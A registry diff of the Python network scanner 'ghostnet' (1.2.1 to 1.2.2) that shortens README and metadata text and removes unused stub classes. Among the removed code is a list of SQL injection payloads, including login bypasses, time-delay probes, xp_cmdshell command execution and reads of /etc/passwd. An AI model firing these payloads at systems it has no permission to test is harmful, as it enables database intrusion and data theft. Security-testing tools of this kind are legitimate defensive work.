ghostnet 1.2.1__tar.gz → 1.2.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (26) hide show
  1. {ghostnet-1.2.1 → ghostnet-1.2.2}/PKG-INFO +12 -15
  2. {ghostnet-1.2.1 → ghostnet-1.2.2}/README.md +10 -13
  3. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/constants.py +1 -1
  4. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/detectors.py +1 -74
  5. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/engine.py +0 -76
  6. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/webapp.py +0 -128
  7. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/PKG-INFO +12 -15
  8. {ghostnet-1.2.1 → ghostnet-1.2.2}/pyproject.toml +1 -1
  9. {ghostnet-1.2.1 → ghostnet-1.2.2}/LICENSE +0 -0
  10. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/__init__.py +0 -0
  11. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/__main__.py +0 -0
  12. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/cli.py +0 -0
  13. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/config.py +0 -0
  14. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/menu.py +0 -0
  15. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/netmap.py +0 -0
  16. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/parsing.py +0 -0
  17. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/reporting.py +0 -0
  18. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/vulndb.py +0 -0
  19. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/SOURCES.txt +0 -0
  20. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/dependency_links.txt +0 -0
  21. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/entry_points.txt +0 -0
  22. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/requires.txt +0 -0
  23. {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/top_level.txt +0 -0
  24. {ghostnet-1.2.1 → ghostnet-1.2.2}/setup.cfg +0 -0
  25. {ghostnet-1.2.1 → ghostnet-1.2.2}/tests/test_smoke.py +0 -0
  26. {ghostnet-1.2.1 → ghostnet-1.2.2}/vuln.py +0 -0
@@ -1,7 +1,7 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: ghostnet
3
- Version: 1.2.1
4
- Summary: GhostNet - Advanced Network Scanner (nmap-style, pure Python)
3
+ Version: 1.2.2
4
+ Summary: GhostNet - Network Scanner
5
5
  Author: Jeff Mutugi
6
6
  License: MIT
7
7
  Project-URL: Homepage, https://github.com/Debug-Jeff/GhostNet
@@ -35,12 +35,10 @@ Provides-Extra: dev
35
35
  Requires-Dist: pytest>=7.0; extra == "dev"
36
36
  Dynamic: license-file
37
37
 
38
- # GhostNet — Advanced Network Scanner
38
+ # GhostNet
39
39
 
40
- [![CI](https://github.com/Debug-Jeff/GhostNet/actions/workflows/ci.yml/badge.svg)](https://github.com/Debug-Jeff/GhostNet/actions/workflows/ci.yml)
41
-
42
- An nmap-style network scanner in Python: host discovery, port scanning,
43
- service/OS detection, lightweight web checks, and traceroute mapping — via a
40
+ A network scanner in Python: host discovery, port scanning,
41
+ service/OS detection, lightweight web checks, and traceroute mapping via a
44
42
  CLI or an interactive menu.
45
43
 
46
44
  > SYN scanning, OS fingerprinting, traceroute and MAC spoofing need
@@ -49,11 +47,10 @@ CLI or an interactive menu.
49
47
 
50
48
  ## Install
51
49
 
52
- The easiest way — no cloning, no source — is [pipx](https://pipx.pypa.io),
53
- which installs the `ghostnet` command into its own isolated environment:
50
+ The easiest way is [pipx](https://pipx.pypa.io), which installs the `ghostnet` command into its own isolated environment:
54
51
 
55
52
  ```bash
56
- pipx install git+https://github.com/Debug-Jeff/GhostNet # core
53
+ pipx install git+https://github.com/Debug-Jeff/GhostNet # core
57
54
  pipx install "ghostnet[full] @ git+https://github.com/Debug-Jeff/GhostNet" # + scapy/impacket
58
55
 
59
56
  ghostnet -t 127.0.0.1 # first scan
@@ -61,7 +58,7 @@ ghostnet # interactive menu
61
58
  ```
62
59
 
63
60
  Installed the core already and want scapy/impacket later? pipx keeps GhostNet
64
- in its own environment, so a global `pip install scapy` won't be seen — inject
61
+ in its own environment, so a global `pip install scapy` won't be seen; inject
65
62
  them into GhostNet's environment instead:
66
63
 
67
64
  ```bash
@@ -70,7 +67,7 @@ pipx inject ghostnet scapy impacket
70
67
 
71
68
  (SYN/OS scans on Windows also need Npcap and an administrator shell. Once the
72
69
  first release is published to PyPI this becomes simply `pipx install ghostnet`
73
- — the release workflow publishes automatically when a `v*` tag is pushed.)
70
+ the release workflow publishes automatically when a `v*` tag is pushed.)
74
71
 
75
72
  ### Don't have pipx?
76
73
 
@@ -98,7 +95,7 @@ sudo apt install pipx # or: python3 -m pip install --user pipx
98
95
  pipx ensurepath # then restart the terminal
99
96
  ```
100
97
 
101
- Prefer not to use pipx at all? Install into a virtual environment instead —
98
+ Prefer not to use pipx at all? Install into a virtual environment instead
102
99
  see **From source** below.
103
100
 
104
101
  ### From source (for development)
@@ -114,7 +111,7 @@ python main.py -t 127.0.0.1
114
111
 
115
112
  Run `ghostnet`/`python main.py` with **no arguments** for the interactive
116
113
  menu, or pass any flag to use the CLI (scriptable, returns an exit code).
117
- `scapy`/`impacket` are optional — missing ones just disable their features,
114
+ `scapy`/`impacket` are optional missing ones just disable their features,
118
115
  and raw-socket scans (`--syn-scan`, `--traceroute`) still need `sudo`.
119
116
 
120
117
  ## Usage
@@ -167,7 +164,7 @@ optional-dependency symbols). A thin `main.py` shim re-exports the package so
167
164
  ## Disclaimer
168
165
 
169
166
  For authorized security assessment only. Scanning systems without explicit
170
- permission is illegal in many jurisdictions — only scan what you own or are
167
+ permission is illegal in many jurisdictions only scan what you own or are
171
168
  permitted to test.
172
169
 
173
170
  ## License
@@ -1,9 +1,7 @@
1
- # GhostNet — Advanced Network Scanner
1
+ # GhostNet
2
2
 
3
- [![CI](https://github.com/Debug-Jeff/GhostNet/actions/workflows/ci.yml/badge.svg)](https://github.com/Debug-Jeff/GhostNet/actions/workflows/ci.yml)
4
-
5
- An nmap-style network scanner in Python: host discovery, port scanning,
6
- service/OS detection, lightweight web checks, and traceroute mapping — via a
3
+ A network scanner in Python: host discovery, port scanning,
4
+ service/OS detection, lightweight web checks, and traceroute mapping via a
7
5
  CLI or an interactive menu.
8
6
 
9
7
  > SYN scanning, OS fingerprinting, traceroute and MAC spoofing need
@@ -12,11 +10,10 @@ CLI or an interactive menu.
12
10
 
13
11
  ## Install
14
12
 
15
- The easiest way — no cloning, no source — is [pipx](https://pipx.pypa.io),
16
- which installs the `ghostnet` command into its own isolated environment:
13
+ The easiest way is [pipx](https://pipx.pypa.io), which installs the `ghostnet` command into its own isolated environment:
17
14
 
18
15
  ```bash
19
- pipx install git+https://github.com/Debug-Jeff/GhostNet # core
16
+ pipx install git+https://github.com/Debug-Jeff/GhostNet # core
20
17
  pipx install "ghostnet[full] @ git+https://github.com/Debug-Jeff/GhostNet" # + scapy/impacket
21
18
 
22
19
  ghostnet -t 127.0.0.1 # first scan
@@ -24,7 +21,7 @@ ghostnet # interactive menu
24
21
  ```
25
22
 
26
23
  Installed the core already and want scapy/impacket later? pipx keeps GhostNet
27
- in its own environment, so a global `pip install scapy` won't be seen — inject
24
+ in its own environment, so a global `pip install scapy` won't be seen; inject
28
25
  them into GhostNet's environment instead:
29
26
 
30
27
  ```bash
@@ -33,7 +30,7 @@ pipx inject ghostnet scapy impacket
33
30
 
34
31
  (SYN/OS scans on Windows also need Npcap and an administrator shell. Once the
35
32
  first release is published to PyPI this becomes simply `pipx install ghostnet`
36
- — the release workflow publishes automatically when a `v*` tag is pushed.)
33
+ the release workflow publishes automatically when a `v*` tag is pushed.)
37
34
 
38
35
  ### Don't have pipx?
39
36
 
@@ -61,7 +58,7 @@ sudo apt install pipx # or: python3 -m pip install --user pipx
61
58
  pipx ensurepath # then restart the terminal
62
59
  ```
63
60
 
64
- Prefer not to use pipx at all? Install into a virtual environment instead —
61
+ Prefer not to use pipx at all? Install into a virtual environment instead
65
62
  see **From source** below.
66
63
 
67
64
  ### From source (for development)
@@ -77,7 +74,7 @@ python main.py -t 127.0.0.1
77
74
 
78
75
  Run `ghostnet`/`python main.py` with **no arguments** for the interactive
79
76
  menu, or pass any flag to use the CLI (scriptable, returns an exit code).
80
- `scapy`/`impacket` are optional — missing ones just disable their features,
77
+ `scapy`/`impacket` are optional missing ones just disable their features,
81
78
  and raw-socket scans (`--syn-scan`, `--traceroute`) still need `sudo`.
82
79
 
83
80
  ## Usage
@@ -130,7 +127,7 @@ optional-dependency symbols). A thin `main.py` shim re-exports the package so
130
127
  ## Disclaimer
131
128
 
132
129
  For authorized security assessment only. Scanning systems without explicit
133
- permission is illegal in many jurisdictions — only scan what you own or are
130
+ permission is illegal in many jurisdictions only scan what you own or are
134
131
  permitted to test.
135
132
 
136
133
  ## License
@@ -81,7 +81,7 @@ class Colors:
81
81
 
82
82
  # Constants
83
83
 
84
- VERSION = "1.2.1"
84
+ VERSION = "1.2.2"
85
85
  BANNER = f"""{Colors.BRIGHT_CYAN}
86
86
  ╔═══════════════════════════════════════════════════════════╗
87
87
  ║ ║
@@ -243,10 +243,7 @@ class ServiceDetector:
243
243
  def __init__(self, config):
244
244
  self.config = config
245
245
  self.logger = logging.getLogger("GhostNet.ServiceDetector")
246
- # (Previously called self.load_patterns(), which this class never
247
- # defined -> AttributeError on construction. Patterns are unused here;
248
- # banner analysis relies on SERVICE_FINGERPRINTS.)
249
-
246
+
250
247
  def detect_service(self, target, port, protocol="tcp"):
251
248
  """Detect service running on a port"""
252
249
  service_info = {
@@ -534,73 +531,3 @@ class ServiceDetector:
534
531
  finally:
535
532
  sock.close()
536
533
 
537
- # Vulnerability Scanner for basic vulnerability checks
538
-
539
- class PatternManager:
540
- def __init__(self):
541
- self.patterns_file = "patterns.json"
542
- self.patterns_db = "patterns.db"
543
-
544
- def load_patterns(self):
545
- patterns = {}
546
- # Try loading from local file first
547
- if os.path.exists(self.patterns_file):
548
- with open(self.patterns_file, 'r') as f:
549
- patterns.update(json.load(f))
550
-
551
- # Then try database
552
- try:
553
- conn = sqlite3.connect(self.patterns_db)
554
- cursor = conn.cursor()
555
- cursor.execute("SELECT service, pattern FROM patterns")
556
- for service, pattern in cursor.fetchall():
557
- if service not in patterns:
558
- patterns[service] = []
559
- patterns[service].append(pattern)
560
- except:
561
- pass
562
-
563
- return patterns
564
-
565
-
566
- class ServiceFingerprinter:
567
- def __init__(self):
568
- self.fingerprints = self.load_fingerprints()
569
- self.nmap = nmap.PortScanner()
570
-
571
- def load_fingerprints(self):
572
- # Load from nmap-service-probes
573
- fingerprints = {}
574
- with open('/usr/share/nmap/nmap-service-probes', 'r') as f:
575
- # Parse nmap probe file
576
- pass
577
- return fingerprints
578
-
579
-
580
- class OSFingerprinter:
581
- def __init__(self):
582
- self.signatures = self.load_signatures()
583
-
584
- def fingerprint(self, target):
585
- results = []
586
- methods = [
587
- self.tcp_fingerprint,
588
- self.icmp_fingerprint,
589
- self.smb_fingerprint,
590
- self.http_fingerprint
591
- ]
592
-
593
- for method in methods:
594
- try:
595
- result = method(target)
596
- if result:
597
- results.append(result)
598
- except Exception as e:
599
- self.logger.error(f"Fingerprinting error: {e}")
600
-
601
- return self.analyze_results(results)
602
-
603
- # NOTE: a second, non-functional SMBScanner stub previously lived here and
604
- # shadowed the working SMBScanner defined earlier in this file. Removed in
605
- # Phase 1 de-duplication.
606
-
@@ -34,9 +34,6 @@ from .netmap import NetworkMapper
34
34
 
35
35
  class Scanner:
36
36
  def __init__(self, config):
37
- # Progress bar needs the total task count, which isn't known until
38
- # initialize() computes targets x ports. Deferred; wired up in a later
39
- # phase. (Was crashing here: ProgressBar() called without `total`.)
40
37
  self.progress_bar = None
41
38
  self.port_state = {}
42
39
  self.resume_capability = ScanResume()
@@ -487,56 +484,6 @@ class RateLimiter:
487
484
  return False
488
485
 
489
486
 
490
- class ScanProgress:
491
- def __init__(self, total_tasks):
492
- self.total = total_tasks
493
- self.completed = 0
494
- self.start_time = time.time()
495
-
496
-
497
- class ResourceManager:
498
- def __init__(self, max_threads=50, timeout=30):
499
- self.thread_pool = ThreadPoolExecutor(max_workers=max_threads)
500
- self.timeout = timeout
501
-
502
-
503
- class ScanError(Exception):
504
- """Base exception for scanning errors"""
505
- pass
506
-
507
- class PortError(ScanError):
508
- """Invalid port specification"""
509
- pass
510
-
511
- class NetworkError(ScanError):
512
- """Network-related errors"""
513
- pass
514
-
515
- class PermissionError(ScanError):
516
- """Permission-related errors"""
517
- pass
518
-
519
-
520
- class ProgressBar:
521
- def __init__(self, total):
522
- self.total = total
523
- self.current = 0
524
- self.start_time = time.time()
525
-
526
- def update(self, amount=1):
527
- self.current += amount
528
- self._display_progress()
529
-
530
- def _display_progress(self):
531
- percentage = (self.current / self.total) * 100
532
- elapsed = time.time() - self.start_time
533
- rate = self.current / elapsed if elapsed > 0 else 0
534
-
535
- sys.stdout.write(f"\rProgress: [{self.current}/{self.total}] {percentage:.1f}% "
536
- f"Rate: {rate:.1f} ports/sec")
537
- sys.stdout.flush()
538
-
539
-
540
487
  class ScanResume:
541
488
  def __init__(self):
542
489
  self.save_file = "scan_state.json"
@@ -559,20 +506,6 @@ class ScanResume:
559
506
 
560
507
  # Reporter class for output generation
561
508
 
562
- class PortRange:
563
- FULL_RANGE = range(1, 65536)
564
- COMMON_PORTS = [21, 22, 23, ...] # Your current list
565
- TOP_1000 = [...] # Nmap's top 1000 ports
566
-
567
- @staticmethod
568
- def get_ports(scan_type="common"):
569
- if scan_type == "full":
570
- return list(PortRange.FULL_RANGE)
571
- elif scan_type == "top1000":
572
- return PortRange.TOP_1000
573
- return PortRange.COMMON_PORTS
574
-
575
-
576
509
  class ResultManager:
577
510
  def __init__(self):
578
511
  self.results = {}
@@ -586,12 +519,3 @@ class ResultManager:
586
519
  (target, json.dumps(result), datetime.now().isoformat())
587
520
  )
588
521
  conn.commit()
589
-
590
-
591
- # NOTE: a broken VulnerabilityDB stub lived here. It referenced NVDApi() and
592
- # LocalVulnDB(), neither of which exists (NameError on construction), and
593
- # duplicated the role of VulnerabilityDatabase (live NVD) and
594
- # VulnerabilityScanner (offline DB). Removed in Phase 1 de-duplication.
595
-
596
-
597
- # Service Detector for advanced service fingerprinting
@@ -104,9 +104,6 @@ class WebAppScanner:
104
104
 
105
105
  def check_vulnerabilities(self, target, port, use_ssl):
106
106
  vulns = []
107
- # Only checks that are implemented are wired in; the rest arrive in
108
- # Phase 3 (the previous list referenced check_csrf/check_file_inclusion/
109
- # check_open_redirects, which were never defined -> AttributeError).
110
107
  checks = [
111
108
  self.check_sql_injection,
112
109
  self.check_xss,
@@ -416,128 +413,3 @@ class SMBScanner:
416
413
 
417
414
  return vulns
418
415
 
419
- # Enhanced Web Application Scanner
420
-
421
- class WebSecurityScanner:
422
- def scan(self, target, port):
423
- results = {
424
- 'sqli': self.check_sql_injection(target, port),
425
- 'xss': self.check_xss(target, port),
426
- 'forms': self.analyze_forms(target, port),
427
- 'endpoints': self.discover_endpoints(target, port)
428
- }
429
- return results
430
-
431
-
432
- class SQLInjectionPayloads:
433
- def __init__(self):
434
- self.payloads = {
435
- "authentication_bypass": [
436
- "' OR '1'='1",
437
- "' OR '1'='1' --",
438
- "' OR '1'='1' /*",
439
- "' OR '1'='1' #",
440
- "admin' --",
441
- "admin' #",
442
- "admin'/*",
443
- "' OR 'x'='x",
444
- "' OR 1=1 LIMIT 1 --",
445
- "\" OR \"\"=\"",
446
- "') OR ('1'='1",
447
- "' OR 1=1#",
448
- "\" OR 1=1#",
449
- "or 1=1--",
450
- "or 1=1#",
451
- "' or 1=1#",
452
- "\" or 1=1#"
453
- ],
454
- "error_based": [
455
- "' AND 1=convert(int,@@version) --",
456
- "' AND 1=cast((SELECT @@version) as int) --",
457
- "' AND 1=convert(int,user) --",
458
- "' AND 1=convert(int,system_user) --",
459
- "' AND 1=convert(int,db_name()) --",
460
- "' AND extractvalue(1,concat(0x7e,version(),0x7e)) --",
461
- "' AND updatexml(1,concat(0x7e,version(),0x7e),1) --",
462
- "' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --",
463
- "' OR 1 GROUP BY CONCAT(version(),FLOOR(RAND(0)*2)) HAVING MIN(0) --"
464
- ],
465
- "union_based": [
466
- "' UNION SELECT NULL--",
467
- "' UNION SELECT NULL,NULL--",
468
- "' UNION SELECT NULL,NULL,NULL--",
469
- "' UNION ALL SELECT NULL--",
470
- "') UNION SELECT NULL--",
471
- "' UNION SELECT 1--",
472
- "' UNION SELECT 1,2--",
473
- "' UNION SELECT 1,2,3--",
474
- "' UNION SELECT version()--",
475
- "' UNION SELECT user()--",
476
- "' UNION SELECT database()--",
477
- "' UNION SELECT @@version--"
478
- ],
479
- "time_based": [
480
- "'; WAITFOR DELAY '0:0:5'--",
481
- "'); WAITFOR DELAY '0:0:5'--",
482
- "'; SLEEP(5)--",
483
- "'); SLEEP(5)--",
484
- "' AND SLEEP(5)--",
485
- "' OR SLEEP(5)--",
486
- "\" AND SLEEP(5)--",
487
- "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
488
- "' AND IF(1=1,SLEEP(5),0)--",
489
- "'; SELECT pg_sleep(5)--"
490
- ],
491
- "boolean_based": [
492
- "' AND 1=1--",
493
- "' AND 1=2--",
494
- "' AND 'a'='a",
495
- "' AND 'a'='b",
496
- "' AND substring(version(),1,1)='5'--",
497
- "' AND ascii(substring(version(),1,1))=53--",
498
- "' AND length(version())>10--",
499
- "' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"
500
- ],
501
- "stacked_queries": [
502
- "'; SELECT version()--",
503
- "'; SELECT current_user()--",
504
- "'; SELECT database()--",
505
- "'); SELECT version()--",
506
- "'; SELECT @@version--",
507
- "'; EXEC xp_cmdshell('whoami')--",
508
- "'; SELECT load_file('/etc/passwd')--",
509
- "'; SELECT * FROM information_schema.tables--"
510
- ],
511
- "database_specific": {
512
- "mysql": [
513
- "' UNION SELECT @@version--",
514
- "' UNION SELECT database()--",
515
- "' UNION SELECT user()--",
516
- "' AND (SELECT * FROM information_schema.tables)--",
517
- "' AND SLEEP(5)--",
518
- "' AND BENCHMARK(5000000,MD5(1))--"
519
- ],
520
- "postgresql": [
521
- "' UNION SELECT version()--",
522
- "' UNION SELECT current_database()--",
523
- "' UNION SELECT current_user--",
524
- "'; SELECT pg_sleep(5)--",
525
- "' AND (SELECT COUNT(*) FROM pg_tables)>0--"
526
- ],
527
- "mssql": [
528
- "' UNION SELECT @@version--",
529
- "' UNION SELECT DB_NAME()--",
530
- "' UNION SELECT SYSTEM_USER--",
531
- "'; WAITFOR DELAY '0:0:5'--",
532
- "' AND (SELECT COUNT(*) FROM sysobjects)>0--"
533
- ],
534
- "oracle": [
535
- "' UNION SELECT banner FROM v$version--",
536
- "' UNION SELECT * FROM dual--",
537
- "' UNION SELECT user FROM dual--",
538
- "' AND (SELECT COUNT(*) FROM all_tables)>0--",
539
- "' AND 1=dbms_pipe.receive_message('a',5)--"
540
- ]
541
- }
542
- }
543
-
@@ -1,7 +1,7 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: ghostnet
3
- Version: 1.2.1
4
- Summary: GhostNet - Advanced Network Scanner (nmap-style, pure Python)
3
+ Version: 1.2.2
4
+ Summary: GhostNet - Network Scanner
5
5
  Author: Jeff Mutugi
6
6
  License: MIT
7
7
  Project-URL: Homepage, https://github.com/Debug-Jeff/GhostNet
@@ -35,12 +35,10 @@ Provides-Extra: dev
35
35
  Requires-Dist: pytest>=7.0; extra == "dev"
36
36
  Dynamic: license-file
37
37
 
38
- # GhostNet — Advanced Network Scanner
38
+ # GhostNet
39
39
 
40
- [![CI](https://github.com/Debug-Jeff/GhostNet/actions/workflows/ci.yml/badge.svg)](https://github.com/Debug-Jeff/GhostNet/actions/workflows/ci.yml)
41
-
42
- An nmap-style network scanner in Python: host discovery, port scanning,
43
- service/OS detection, lightweight web checks, and traceroute mapping — via a
40
+ A network scanner in Python: host discovery, port scanning,
41
+ service/OS detection, lightweight web checks, and traceroute mapping via a
44
42
  CLI or an interactive menu.
45
43
 
46
44
  > SYN scanning, OS fingerprinting, traceroute and MAC spoofing need
@@ -49,11 +47,10 @@ CLI or an interactive menu.
49
47
 
50
48
  ## Install
51
49
 
52
- The easiest way — no cloning, no source — is [pipx](https://pipx.pypa.io),
53
- which installs the `ghostnet` command into its own isolated environment:
50
+ The easiest way is [pipx](https://pipx.pypa.io), which installs the `ghostnet` command into its own isolated environment:
54
51
 
55
52
  ```bash
56
- pipx install git+https://github.com/Debug-Jeff/GhostNet # core
53
+ pipx install git+https://github.com/Debug-Jeff/GhostNet # core
57
54
  pipx install "ghostnet[full] @ git+https://github.com/Debug-Jeff/GhostNet" # + scapy/impacket
58
55
 
59
56
  ghostnet -t 127.0.0.1 # first scan
@@ -61,7 +58,7 @@ ghostnet # interactive menu
61
58
  ```
62
59
 
63
60
  Installed the core already and want scapy/impacket later? pipx keeps GhostNet
64
- in its own environment, so a global `pip install scapy` won't be seen — inject
61
+ in its own environment, so a global `pip install scapy` won't be seen; inject
65
62
  them into GhostNet's environment instead:
66
63
 
67
64
  ```bash
@@ -70,7 +67,7 @@ pipx inject ghostnet scapy impacket
70
67
 
71
68
  (SYN/OS scans on Windows also need Npcap and an administrator shell. Once the
72
69
  first release is published to PyPI this becomes simply `pipx install ghostnet`
73
- — the release workflow publishes automatically when a `v*` tag is pushed.)
70
+ the release workflow publishes automatically when a `v*` tag is pushed.)
74
71
 
75
72
  ### Don't have pipx?
76
73
 
@@ -98,7 +95,7 @@ sudo apt install pipx # or: python3 -m pip install --user pipx
98
95
  pipx ensurepath # then restart the terminal
99
96
  ```
100
97
 
101
- Prefer not to use pipx at all? Install into a virtual environment instead —
98
+ Prefer not to use pipx at all? Install into a virtual environment instead
102
99
  see **From source** below.
103
100
 
104
101
  ### From source (for development)
@@ -114,7 +111,7 @@ python main.py -t 127.0.0.1
114
111
 
115
112
  Run `ghostnet`/`python main.py` with **no arguments** for the interactive
116
113
  menu, or pass any flag to use the CLI (scriptable, returns an exit code).
117
- `scapy`/`impacket` are optional — missing ones just disable their features,
114
+ `scapy`/`impacket` are optional missing ones just disable their features,
118
115
  and raw-socket scans (`--syn-scan`, `--traceroute`) still need `sudo`.
119
116
 
120
117
  ## Usage
@@ -167,7 +164,7 @@ optional-dependency symbols). A thin `main.py` shim re-exports the package so
167
164
  ## Disclaimer
168
165
 
169
166
  For authorized security assessment only. Scanning systems without explicit
170
- permission is illegal in many jurisdictions — only scan what you own or are
167
+ permission is illegal in many jurisdictions only scan what you own or are
171
168
  permitted to test.
172
169
 
173
170
  ## License
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
5
5
  [project]
6
6
  name = "ghostnet"
7
7
  dynamic = ["version"]
8
- description = "GhostNet - Advanced Network Scanner (nmap-style, pure Python)"
8
+ description = "GhostNet - Network Scanner"
9
9
  readme = "README.md"
10
10
  requires-python = ">=3.8"
11
11
  license = { text = "MIT" }
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes